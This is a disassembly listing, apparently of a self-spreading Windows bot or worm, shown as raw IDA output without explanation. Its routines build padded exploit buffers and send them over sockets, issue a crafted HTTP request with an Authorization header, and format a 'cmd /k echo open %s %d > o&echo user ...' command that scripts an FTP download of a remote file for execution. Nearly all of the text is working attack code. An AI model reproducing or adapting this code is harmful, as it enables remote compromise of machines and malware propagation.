push offset dword_4258F8
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403D93
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call ds:dword_43A390 ; recv
push edi
push 0A8h
push offset dword_425984
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403D93
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call ds:dword_43A390 ; recv
push edi
push 0DEh
push offset dword_425A30
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403D93
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call ds:dword_43A390 ; recv
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_403D9D
dec eax
jz short loc_403D9A
loc_403D93: ; CODE XREF: sub_403C8B+63j
; sub_403C8B+79j ...
xor eax, eax
jmp loc_403E37
; ---------------------------------------------------------------------------
loc_403D9A: ; CODE XREF: sub_403C8B+106j
push edi
jmp short loc_403DC1
; ---------------------------------------------------------------------------
loc_403D9D: ; CODE XREF: sub_403C8B+103j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40384C
add esp, 0C4h
test al, al
jnz short loc_403DE1
push 1
loc_403DC1: ; CODE XREF: sub_403C8B+110j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40384C
add esp, 0C4h
test al, al
jz short loc_403DE8
loc_403DE1: ; CODE XREF: sub_403C8B+132j
mov [ebp+var_4], 1
loc_403DE8: ; CODE XREF: sub_403C8B+154j
push ebx
call ds:dword_43A410 ; closesocket
cmp [ebp+var_4], 0
jz short loc_403E34
push 0
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D32
lea eax, [ebp+var_214]
push eax
call sub_40B151
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc ds:dword_427308[eax]
lea eax, dword_427308[eax]
loc_403E34: ; CODE XREF: sub_403C8B+168j
push 1
pop eax
loc_403E37: ; CODE XREF: sub_403C8B+10Aj
pop edi
pop esi
pop ebx
leave
retn
sub_403C8B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 1BDh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402DDD
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C8B
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_403E8D
test eax, eax
jz short loc_403E90
loc_403E8D: ; CODE XREF: seg000:00403E87j
push 1
pop eax
loc_403E90: ; CODE XREF: seg000:00403E8Bj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_403E94 proc near ; CODE XREF: sub_404108+Ep
; sub_404108+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_403E94 endp
; =============== S U B R O U T I N E =======================================
sub_403E9E proc near ; CODE XREF: sub_404108+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
mov esi, ecx
push ebx
call sub_415DA9
mov edi, eax
pop ecx
test edi, edi
jz short loc_403ED0
push ebx
push 0
push edi
call sub_415550
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_4155B0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403ED0: ; CODE XREF: sub_403E9E+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403E9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403ED8 proc near ; CODE XREF: sub_403FD2+18p
; sub_40404C+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi
call sub_415DA9
mov esi, eax
pop ecx
test esi, esi
jz short loc_403F24
push edi
push 0
push esi
call sub_415550
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_4155B0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4155B0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_403F24: ; CODE XREF: sub_403ED8+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403ED8 endp
; =============== S U B R O U T I N E =======================================
sub_403F2D proc near ; CODE XREF: sub_403FD2+5Ep
; sub_403FD2+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_403F3D
push eax
call sub_415E1D
pop ecx
loc_403F3D: ; CODE XREF: sub_403F2D+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_403F2D endp
; =============== S U B R O U T I N E =======================================
sub_403F46 proc near ; CODE XREF: sub_403FD2+20p
; sub_4040AD+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_403F73
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax
call sub_415DA9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403F77
loc_403F73: ; CODE XREF: sub_403F46+Dj
xor al, al
jmp short loc_403FCE
; ---------------------------------------------------------------------------
loc_403F77: ; CODE XREF: sub_403F46+2Bj
mov eax, ebx
add eax, [esi+4]
push eax
push 0
push edi
call sub_415550
add esp, 0Ch
cmp ebx, 1
jnz short loc_403F9C
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_403FB6
; ---------------------------------------------------------------------------
loc_403F9C: ; CODE XREF: sub_403F46+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4]
lea eax, [edi+3]
push dword ptr [esi]
loc_403FB6: ; CODE XREF: sub_403F46+54j
push eax
call sub_4155B0
add esp, 0Ch
push dword ptr [esi]
call sub_415E1D
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_403FCE: ; CODE XREF: sub_403F46+2Fj
pop edi
pop esi
pop ebx
retn
sub_403F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FD2 proc near ; CODE XREF: sub_404108+89p
; sub_404108+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_438FB4
call sub_403ED8
lea ecx, [ebp+var_8]
call sub_403F46
mov eax, [ebp+var_4]
inc eax
push eax
call sub_415DA9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40400C
xor al, al
jmp short loc_404048
; ---------------------------------------------------------------------------
loc_40400C: ; CODE XREF: sub_403FD2+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_415550
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_4155B0
add esp, 18h
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_403F2D
mov al, 1
loc_404048: ; CODE XREF: sub_403FD2+38j
pop edi
pop esi
leave
retn
sub_403FD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40404C proc near ; CODE XREF: sub_404080+14p
; sub_40409D+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403ED8
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40404C endp
; =============== S U B R O U T I N E =======================================
sub_404080 proc near ; CODE XREF: sub_404108+F0p
; sub_404108+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_415CD0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40404C
pop esi
retn 4
sub_404080 endp
; =============== S U B R O U T I N E =======================================
sub_40409D proc near ; CODE XREF: sub_4040E9+Bp
; sub_404108+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40404C
retn 8
sub_40409D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040AD proc near ; CODE XREF: sub_4040E9+16p
; sub_404108+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_403F46
test al, al
jz short loc_4040E6
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4263DB+1)
call sub_403ED8
mov ecx, esi
call sub_403F2D
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_4040E6: ; CODE XREF: sub_4040AD+Fj
pop esi
leave
retn
sub_4040AD endp
; =============== S U B R O U T I N E =======================================
sub_4040E9 proc near ; CODE XREF: sub_404108+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40409D
test al, al
jz short loc_404104
mov ecx, esi
call sub_4040AD
loc_404104: ; CODE XREF: sub_4040E9+12j
pop esi
retn 8
sub_4040E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404108 proc near ; CODE XREF: seg000:0040498Dp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_403E94
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40445C
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40445C
push esi
lea ecx, [ebp+var_30]
call sub_403E94
lea ecx, [ebp+var_20]
call sub_403E94
lea ecx, [ebp+var_50]
call sub_403E94
lea ecx, [ebp+var_18]
call sub_403E94
lea ecx, [ebp+var_40]
call sub_403E94
lea ecx, [ebp+var_38]
call sub_403E94
lea ecx, [ebp+var_28]
call sub_403E94
push 4
push offset dword_42607C
lea ecx, [ebp+var_30]
call sub_40404C
push 3
push offset dword_426084
lea ecx, [ebp+var_30]
call sub_40404C
lea ecx, [ebp+var_30]
call sub_403FD2
lea ecx, [ebp+var_30]
call sub_4040AD
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_415550
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40404C
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40404C
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40404C
lea ecx, [ebp+var_20]
call sub_403FD2
push offset loc_426404
lea ecx, [ebp+var_50]
call sub_404080
lea ecx, [ebp+var_50]
call sub_403FD2
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_403E9E
lea ecx, [ebp+var_58]
call sub_403FD2
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_4040E9
lea ecx, [ebp+var_58]
call sub_403F2D
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_415550
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_404080
push 4
push offset dword_426088
lea ecx, [ebp+var_18]
call sub_40404C
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40404C
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40404C
lea ecx, [ebp+var_18]
call sub_403FD2
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40409D
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40409D
lea ecx, [ebp+var_40]
call sub_4040AD
lea ecx, [ebp+var_18]
call sub_403F2D
lea ecx, [ebp+var_50]
call sub_403F2D
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40409D
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40409D
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40409D
lea ecx, [ebp+var_38]
call sub_4040AD
lea ecx, [ebp+var_20]
call sub_403F2D
lea ecx, [ebp+var_30]
call sub_403F2D
lea ecx, [ebp+var_40]
call sub_403F2D
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40404C
lea ecx, [ebp+var_28]
call sub_403FD2
push 2
push offset dword_4263F8
lea ecx, [ebp+var_28]
call sub_40404C
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40409D
lea ecx, [ebp+var_28]
call sub_4040AD
lea ecx, [ebp+var_38]
call sub_403F2D
lea ecx, [ebp+var_10]
call sub_403E94
lea ecx, [ebp+var_8]
call sub_403E94
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40409D
lea ecx, [ebp+var_10]
call sub_403F46
lea ecx, [ebp+var_28]
call sub_403F2D
push offset dword_4263F4
lea ecx, [ebp+var_8]
call sub_404080
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F46
lea ecx, [ebp+var_10]
call sub_403F2D
push offset dword_4263F0
lea ecx, [ebp+var_10]
call sub_404080
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40409D
lea ecx, [ebp+var_10]
call sub_403F46
lea ecx, [ebp+var_8]
call sub_403F2D
push offset dword_4263E4
lea ecx, [ebp+var_8]
call sub_404080
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F46
lea ecx, [ebp+var_10]
call sub_403F2D
push offset dword_4263E0
lea ecx, [ebp+var_48]
call sub_404080
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40409D
lea ecx, [ebp+var_8]
call sub_403F2D
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40446A
; ---------------------------------------------------------------------------
loc_40445C: ; CODE XREF: sub_404108+1Bj
; sub_404108+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40446A: ; CODE XREF: sub_404108+352j
pop edi
pop ebx
leave
retn
sub_404108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40446E proc near ; CODE XREF: sub_404532+A1p
; sub_404532+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_4211D0 ; select
cmp eax, edi
jnz short loc_4044D5
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4200E6 ; __WSAFDIsSet
test eax, eax
jnz short loc_4044D9
loc_4044D5: ; CODE XREF: sub_40446E+54j
xor eax, eax
jmp short loc_4044E9
; ---------------------------------------------------------------------------
loc_4044D9: ; CODE XREF: sub_40446E+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_43A390 ; recv
loc_4044E9: ; CODE XREF: sub_40446E+69j
pop edi
pop esi
leave
retn
sub_40446E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044ED proc near ; CODE XREF: sub_404532+81p
; sub_404532+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_43A374 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
cmp eax, 4
jz short loc_404517
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_404517: ; CODE XREF: sub_4044ED+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_4044ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404532 proc near ; CODE XREF: sub_40460C+48p
; seg000:00404A88p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_415DA9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40455B
xor al, al
jmp loc_404607
; ---------------------------------------------------------------------------
loc_40455B: ; CODE XREF: sub_404532+20j
push ebx
push 0
push esi
call sub_415550
push 2Fh
push offset dword_426118
push esi
call sub_4155B0
push 8
lea eax, [esi+31h]
push offset dword_426148
push eax
mov [esi+2Fh], di
call sub_4155B0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_4155B0
push 6
add ebx, edi
push offset dword_438FAC
push ebx
call sub_4155B0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_426090
push ebx
call sub_4044ED
add esp, 48h
test al, al
jnz short loc_4045C3
loc_4045BF: ; CODE XREF: sub_404532+B5j
xor bl, bl
jmp short loc_4045FE
; ---------------------------------------------------------------------------
loc_4045C3: ; CODE XREF: sub_404532+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40446E
push [ebp+var_4]
push esi
push ebx
call sub_4044ED
add esp, 1Ch
test al, al
jz short loc_4045BF
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40446E
add esp, 10h
mov bl, 1
loc_4045FE: ; CODE XREF: sub_404532+8Fj
push esi
call sub_415E1D
pop ecx
mov al, bl
loc_404607: ; CODE XREF: sub_404532+24j
pop edi
pop esi
pop ebx
leave
retn
sub_404532 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40460C proc near ; CODE XREF: seg000:00404A6Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_426154
push [ebp+arg_0]
call ds:dword_4211EC ; send
cmp eax, 48h
jnz short loc_404647
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40446E
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_404647
cmp [ebp+var_20], 82h
jz short loc_40464B
loc_404647: ; CODE XREF: sub_40460C+1Bj
; sub_40460C+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40464B: ; CODE XREF: sub_40460C+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404532
add esp, 0Ch
leave
retn
sub_40460C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40465E proc near ; CODE XREF: sub_4046AA+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_421240
call sub_415F6C
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_421238
fstp [esp+10h+var_10]
call sub_415E4C
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_415F6C
inc eax
leave
retn
sub_40465E endp
; =============== S U B R O U T I N E =======================================
sub_4046AA proc near ; CODE XREF: sub_40484C+24p
var_40 = qword ptr -40h
mov eax, offset loc_420243
call sub_416438
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_404D21
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40465E
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_4046EC
push edi
push eax
lea ecx, [ebp-38h]
call sub_404C9C
loc_4046EC: ; CODE XREF: sub_4046AA+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_404809
mov ebx, [ebp+10h]
loc_4046FB: ; CODE XREF: sub_4046AA+156j
cmp dword ptr [ebp+10h], 3
jb short loc_404705
push 3
jmp short loc_404717
; ---------------------------------------------------------------------------
loc_404705: ; CODE XREF: sub_4046AA+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40470F
push 2
jmp short loc_404717
; ---------------------------------------------------------------------------
loc_40470F: ; CODE XREF: sub_4046AA+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_404718
push 1
loc_404717: ; CODE XREF: sub_4046AA+59j
; sub_4046AA+63j
pop ebx
loc_404718: ; CODE XREF: sub_4046AA+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul ds:dbl_421250
fstp [esp+40h+var_40]
call sub_415F93
pop ecx
pop ecx
call sub_415F6C
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_404757
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_404757: ; CODE XREF: sub_4046AA+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_4047C5
add [ebp-18h], eax
loc_4047A9: ; CODE XREF: sub_4046AA+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, ds:byte_4261A0[eax]
push eax
push 1
call sub_404B1E
inc esi
cmp esi, [ebp-1Ch]
jb short loc_4047A9
loc_4047C5: ; CODE XREF: sub_4046AA+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_4047E3
push dword ptr [ebp+14h]
call sub_415CD0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_404B77
mov [ebp-18h], edi
loc_4047E3: ; CODE XREF: sub_4046AA+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4047FD
sub esi, [ebp-1Ch]
loc_4047EE: ; CODE XREF: sub_4046AA+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_404B1E
dec esi
jnz short loc_4047EE
loc_4047FD: ; CODE XREF: sub_4046AA+13Fj
cmp [ebp+10h], edi
ja loc_4046FB
push 1
pop ebx
loc_404809: ; CODE XREF: sub_4046AA+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404D21
push ds:dword_421248
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_404BCE
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404D21
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4046AA endp
; =============== S U B R O U T I N E =======================================
sub_40484C proc near ; CODE XREF: seg000:00404A51p
mov eax, offset loc_420260
call sub_416438
sub esp, 10h
push ebx
push esi
push edi
push offset byte_438F9C
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_4046AA
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_415DA9
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_404896
xor bl, bl
jmp short loc_4048DA
; ---------------------------------------------------------------------------
loc_404896: ; CODE XREF: sub_40484C+44j
mov ecx, [ebp-18h]
mov eax, offset dword_421258
cmp ecx, ebx
jnz short loc_4048A4
mov ecx, eax
loc_4048A4: ; CODE XREF: sub_40484C+54j
cmp [ebp+18h], ebx
jz short loc_4048AC
mov eax, [ebp+18h]
loc_4048AC: ; CODE XREF: sub_40484C+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_415A4A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call ds:dword_43A3C8 ; send
cmp eax, esi
jz short loc_4048D1
xor bl, bl
jmp short loc_4048D3
; ---------------------------------------------------------------------------
loc_4048D1: ; CODE XREF: sub_40484C+7Fj
mov bl, 1
loc_4048D3: ; CODE XREF: sub_40484C+83j
push edi
call sub_415E1D
pop ecx
loc_4048DA: ; CODE XREF: sub_40484C+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404D21
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404D21
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40484C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 624h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_42634C
push eax
call sub_4155B0
add esp, 0Ch
mov eax, offset aTilesoft_com ; "Tilesoft.com"
push eax
push eax
push ds:dword_438FBC
push dword ptr [ebp+8]
call sub_40A155
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-395h]
push 400h
push eax
call sub_415A4A
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-24h]
push offset sub_4261E4
push eax
call sub_404108
mov ecx, [eax]
xor esi, esi
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp-4], eax
jnz short loc_4049AD
xor eax, eax
jmp loc_404B11
; ---------------------------------------------------------------------------
loc_4049AD: ; CODE XREF: seg000:004049A4j
mov [ebp-0Ch], esi
loc_4049B0: ; CODE XREF: seg000:00404AB0j
